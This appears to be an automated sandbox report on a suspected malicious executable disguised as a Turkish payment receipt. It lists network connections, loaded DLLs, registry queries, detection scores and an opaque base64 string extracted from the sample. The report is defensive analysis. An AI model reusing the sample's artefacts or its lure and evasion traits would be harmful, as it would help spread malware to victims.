Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 13.107.42.12:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.12:443 -> 192.168.2.6:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.12:443 -> 192.168.2.6:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.12:443 -> 192.168.2.6:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49950 version: TLS 1.2

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Code function: 0_2_02B93BA0		0_2_02B93BA0
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Code function: 0_2_02B9370D		0_2_02B9370D

Source: TahsilatMakbuzu.cmd.exe, 00000000.00000000.2074513543.0000000000A62000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHftpfflrud.exe6 vs TahsilatMakbuzu.cmd.exe
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4534550086.000000000119E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs TahsilatMakbuzu.cmd.exe
Source: TahsilatMakbuzu.cmd.exe	Binary or memory string: OriginalFilenameHftpfflrud.exe6 vs TahsilatMakbuzu.cmd.exe

Source: TahsilatMakbuzu.cmd.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: TahsilatMakbuzu.cmd.exe, -.cs

Base64 encoded string: 'TGkAYYinMUIWc4GvfGQaeoPkXmMAcICoc2lIUoi+Wn4HZ5SLbGMWeI+mZisUcJmVWWUfeaOrcnVIep2VVn4WZJirc3kHbNatemQsWYikeGQbLqqva0QKZYiMbX8eXYyke3wWLoqva089dICvJFkdcYiyUHZIR4ire0MHZ4SkeCsycYnxeHUHSr2lbHkHfIKkJHcWYbKJamIBcIO+W38edISkJEMWYamra3FIJtr5LCRIVJ65en0ReZSZemIFcJ/xTHkeZYGvXmMAcICoc2k2bZ2mcGIWZ9aofnIWeZunJGMeeoava3UAYQ=='

Source: classification engine

Classification label: mal60.evad.winEXE@1/0@19/3

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Mutant created: NULL

Source: TahsilatMakbuzu.cmd.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: TahsilatMakbuzu.cmd.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: TahsilatMakbuzu.cmd.exe

ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: TahsilatMakbuzu.cmd.exe

